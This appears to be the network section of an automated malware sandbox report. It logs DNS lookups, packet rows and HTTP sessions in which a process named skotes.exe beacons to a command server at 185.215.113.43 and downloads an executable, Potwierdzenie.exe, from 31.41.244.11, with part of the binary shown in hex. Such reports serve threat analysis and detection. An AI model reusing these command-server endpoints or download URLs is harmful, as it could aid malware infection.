Nov 18, 2024 23:04:16.534933090 CET	49836	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.535013914 CET	49836	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.535058975 CET	443	49836	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.535089016 CET	49836	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.535104990 CET	443	49836	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.538258076 CET	49841	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.538351059 CET	443	49841	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.538492918 CET	49841	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.538649082 CET	49841	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.538671017 CET	443	49841	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.545284033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545300007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545316935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545341969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545356989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545357943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.545373917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545392990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545394897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.545414925 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.545437098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.545607090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545623064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545638084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545654058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545669079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545684099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545700073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545706987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.545717955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545733929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545747042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.545772076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.545865059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545881033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545897007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545917034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545928955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.545934916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.545953989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.545986891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.545993090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.546009064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.546030998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.546047926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.546053886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.546073914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.546107054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.546384096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.546437979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.546799898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.546833992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.546849966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.546852112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.546865940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.546875954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.546900034 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.546914101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.547257900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.547274113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.547288895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.547308922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.547348976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.547350883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.547368050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.547389984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.547415018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.547418118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.547429085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.547435999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.547452927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.547471046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.547471046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.547488928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.547492027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.547525883 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.547561884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.547576904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.547591925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.547604084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.547606945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.547637939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.547671080 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.548070908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548086882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548110962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548125029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548139095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548141003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.548152924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548168898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548175097 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.548191071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548196077 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.548209906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548216105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.548250914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.548290014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548305988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548321962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548362970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.548563957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548592091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548607111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.548608065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548628092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.548641920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548659086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548661947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.548674107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548686981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548691034 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.548702955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548718929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548727036 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.548765898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.548806906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548823118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548855066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.548865080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548887014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.548892975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548907995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.548909903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548935890 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.548958063 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.548980951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.548996925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.549011946 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.549024105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.549029112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.549043894 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.549048901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.549062967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.549067020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.549097061 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.549201012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.549217939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.549267054 CET	49794	80	192.168.2.4	31.41.244.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 18, 2024 23:04:25.366657019 CET	192.168.2.4	1.1.1.1	0x7040	Standard query (0)	api.myip.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:30.073242903 CET	192.168.2.4	1.1.1.1	0xc4f6	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:47.276159048 CET	192.168.2.4	1.1.1.1	0x4ec4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:47.276307106 CET	192.168.2.4	1.1.1.1	0xd8b5	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 18, 2024 23:04:50.678035021 CET	192.168.2.4	1.1.1.1	0xa078	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:50.692852020 CET	192.168.2.4	1.1.1.1	0xe3f	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 18, 2024 23:04:52.173163891 CET	192.168.2.4	1.1.1.1	0x9ed7	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:52.173291922 CET	192.168.2.4	1.1.1.1	0x2d3	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 18, 2024 23:04:53.166973114 CET	192.168.2.4	1.1.1.1	0x7d5e	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:53.167149067 CET	192.168.2.4	1.1.1.1	0xff7b	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 18, 2024 23:04:54.655616045 CET	192.168.2.4	1.1.1.1	0xad5b	Standard query (0)	home.fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:54.655679941 CET	192.168.2.4	1.1.1.1	0xf67	Standard query (0)	home.fvtejj5vs.top	28	IN (0x0001)	false
Nov 18, 2024 23:04:56.908499002 CET	192.168.2.4	1.1.1.1	0xf613	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:56.916750908 CET	192.168.2.4	1.1.1.1	0x6981	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:56.927717924 CET	192.168.2.4	1.1.1.1	0x7afe	Standard query (0)	youtube.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 18, 2024 23:04:25.376805067 CET	1.1.1.1	192.168.2.4	0x7040	No error (0)	api.myip.com		104.26.9.59	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:25.376805067 CET	1.1.1.1	192.168.2.4	0x7040	No error (0)	api.myip.com		172.67.75.163	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:25.376805067 CET	1.1.1.1	192.168.2.4	0x7040	No error (0)	api.myip.com		104.26.8.59	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:30.116130114 CET	1.1.1.1	192.168.2.4	0xc4f6	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:30.116130114 CET	1.1.1.1	192.168.2.4	0xc4f6	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:47.283024073 CET	1.1.1.1	192.168.2.4	0x4ec4	No error (0)	www.google.com		142.250.185.68	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:47.283718109 CET	1.1.1.1	192.168.2.4	0xd8b5	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 18, 2024 23:04:50.656192064 CET	1.1.1.1	192.168.2.4	0x9461	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:50.689517021 CET	1.1.1.1	192.168.2.4	0xa078	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:52.180202007 CET	1.1.1.1	192.168.2.4	0x9ed7	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 23:04:52.180202007 CET	1.1.1.1	192.168.2.4	0x9ed7	No error (0)	plus.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:52.180694103 CET	1.1.1.1	192.168.2.4	0x2d3	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 23:04:53.176675081 CET	1.1.1.1	192.168.2.4	0x7d5e	No error (0)	play.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:54.873537064 CET	1.1.1.1	192.168.2.4	0xad5b	No error (0)	home.fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:56.915339947 CET	1.1.1.1	192.168.2.4	0xf613	No error (0)	youtube.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:56.923804998 CET	1.1.1.1	192.168.2.4	0x6981	No error (0)	youtube.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 23:04:56.934276104 CET	1.1.1.1	192.168.2.4	0x7afe	No error (0)	youtube.com			28	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49773	185.215.113.43	80	5544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:04.029472113 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 23:04:04.945524931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 22:04:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49788	185.215.113.43	80	5544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:06.467267036 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 23:04:07.381710052 CET	744	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 22:04:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 32 39 0d 0a 20 3c 63 3e 31 30 30 37 32 35 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 66 62 37 30 38 36 35 36 34 35 62 62 34 31 65 30 35 36 34 31 34 32 35 63 39 64 39 32 65 31 30 30 62 37 23 31 30 30 37 32 35 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 32 35 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 32 35 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 [TRUNCATED] Data Ascii: 229 <c>1007251001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbfb70865645bb41e05641425c9d92e100b7#1007252001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007253001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007254001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007255001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1007256001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49794	31.41.244.11	80	5544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:07.395164967 CET	61	OUT	GET /files/Potwierdzenie.exe HTTP/1.1 Host: 31.41.244.11
Nov 18, 2024 23:04:08.321490049 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 22:04:08 GMT Content-Type: application/octet-stream Content-Length: 37624498 Last-Modified: Mon, 18 Nov 2024 21:33:34 GMT Connection: keep-alive ETag: "673bb2ae-23e1ab2" Accept-Ranges: bytes Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 0b 00 7d 53 a3 66 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 02 19 00 c4 3c 00 00 76 11 00 00 00 00 00 d4 de 3c 00 00 10 00 00 00 e0 3c 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL}Sf<v<<@OdL@@sp@B@hs@@.text<<`.itext@<< `.datas<t<@.bssp?<?.idatap@<?@.didata@P?@.edatas@T?@@.tls @V?.rdata]@V?@@.reloc@X?@B.rsrc<!B"X?@@
Nov 18, 2024 23:04:08.321527004 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 40 00 03 07 42 6f 6f 6c 65 61 6e 01 00 00 00 00 01 00 00 00 00 Data Ascii: @Boolean@FalseTrueSystem4@AnsiCharP@Charh@ShortInt@SmallInt@Integer@
Nov 18, 2024 23:04:08.321583033 CET	424	IN	Data Raw: 0f 54 49 6e 74 65 72 66 61 63 65 45 6e 74 72 79 1c 00 00 00 00 00 00 00 00 04 00 00 00 18 13 40 00 00 00 00 00 02 03 49 49 44 02 00 00 11 40 00 10 00 00 00 02 06 56 54 61 62 6c 65 02 00 9c 10 40 00 14 00 00 00 02 07 49 4f 66 66 73 65 74 02 00 e4 Data Ascii: TInterfaceEntry@IID@VTable@IOffset@ImplGetter@PInterfaceTable @$@TInterfaceTableE@EntryCountEntriest@TMethod
Nov 18, 2024 23:04:08.321619034 CET	1236	IN	Data Raw: 70 15 40 00 05 52 69 67 68 74 02 00 02 00 0b 08 8f 40 00 16 26 6f 70 5f 47 72 65 61 74 65 72 54 68 61 6e 4f 72 45 71 75 61 6c 00 00 00 10 40 00 02 12 70 15 40 00 04 4c 65 66 74 02 00 12 70 15 40 00 05 52 69 67 68 74 02 00 02 00 0b 34 8f 40 00 0c Data Ascii: p@Right@&op_GreaterThanOrEqual@p@Leftp@Right4@&op_LessThan@p@Leftp@RightP@&op_LessThanOrEqual@p@Leftp@RightT@x@T@j@@@@
Nov 18, 2024 23:04:08.321675062 CET	1236	IN	Data Raw: 65 02 00 02 00 46 00 a0 94 40 00 0a 4d 65 74 68 6f 64 4e 61 6d 65 03 00 90 12 40 00 08 00 03 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 00 11 40 00 01 00 07 41 64 64 72 65 73 73 02 00 40 90 12 40 00 02 00 01 01 02 00 02 00 3d 00 e8 8d 40 00 12 Data Ascii: eF@MethodName@Self@Address@@=@QualifiedClassName@Self@@:@FieldAddress@t@Self@Name:`@FieldAddress@t@Self@
Nov 18, 2024 23:04:08.321710110 CET	1236	IN	Data Raw: 8e 40 00 b0 8e 40 00 9c 8f 40 00 00 00 00 00 00 00 10 54 43 75 73 74 6f 6d 41 74 74 72 69 62 75 74 65 00 10 20 40 00 07 10 54 43 75 73 74 6f 6d 41 74 74 72 69 62 75 74 65 f4 1f 40 00 74 1f 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 Data Ascii: @@@TCustomAttribute @TCustomAttribute@t@System@ @TCustomAttributeClass @ @ @ @ @@@@@@@@@@@@@WeakAttribute @WeakAttrib
Nov 18, 2024 23:04:08.321747065 CET	1236	IN	Data Raw: 00 08 00 00 00 00 0d 46 4f 77 6e 69 6e 67 54 68 72 65 61 64 02 00 00 11 40 00 0c 00 00 00 00 0a 46 4c 6f 63 6b 45 76 65 6e 74 02 00 9c 10 40 00 10 00 00 00 00 0a 46 53 70 69 6e 43 6f 75 6e 74 02 00 74 23 40 00 14 00 00 00 00 0a 46 57 61 69 74 51 Data Ascii: FOwningThread@FLockEvent@FSpinCountt#@FWaitQueue$@FQueueLock,@SetSpinCountt@AObject@ASpinCount@Entert@AObject@Enter@t@AObject
Nov 18, 2024 23:04:08.321779966 CET	1236	IN	Data Raw: 26 40 00 ec 29 40 00 70 29 40 00 00 00 00 00 00 00 00 00 08 2a 40 00 00 00 00 00 ec 29 40 00 00 00 00 00 f2 29 40 00 0c 00 00 00 fc 16 40 00 c8 90 40 00 d0 90 40 00 bc 93 40 00 b4 93 40 00 d4 93 40 00 d8 93 40 00 dc 93 40 00 d0 93 40 00 98 8e 40 Data Ascii: &@)@p)@@)@)@@@@@@@@@@@@@TNoRefCountObject@TNoRefCountObject)@t@System8@PShortString@P@UTF8Stringd@RawByteString\|@TBound
Nov 18, 2024 23:04:08.321816921 CET	1060	IN	Data Raw: 00 02 07 56 55 49 6e 74 33 32 02 00 14 11 40 00 08 00 00 00 02 06 56 49 6e 74 36 34 02 00 34 11 40 00 08 00 00 00 02 07 56 55 49 6e 74 36 34 02 00 00 11 40 00 08 00 00 00 02 07 56 53 74 72 69 6e 67 02 00 00 11 40 00 08 00 00 00 02 04 56 41 6e 79 Data Ascii: VUInt32@VInt644@VUInt64@VString@VAny+@VArray@VPointer@VUString,@VRecordVLongsVWordsVBytesRawDataX/@
Nov 18, 2024 23:04:08.321852922 CET	1236	IN	Data Raw: 08 e4 14 41 00 09 54 6f 50 6f 69 6e 74 65 72 00 00 00 11 40 00 00 02 00 08 e8 14 41 00 09 54 6f 49 6e 74 65 67 65 72 00 00 9c 10 40 00 00 02 00 0b ec 14 41 00 0c 26 6f 70 5f 45 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 00 10 32 40 00 04 4c 65 66 Data Ascii: AToPointer@AToInteger@A&op_Equality@2@Left2@RightA&op_Inequality@2@Left2@Right\|3@J@\|3@5@@@@@@@@@@@@@
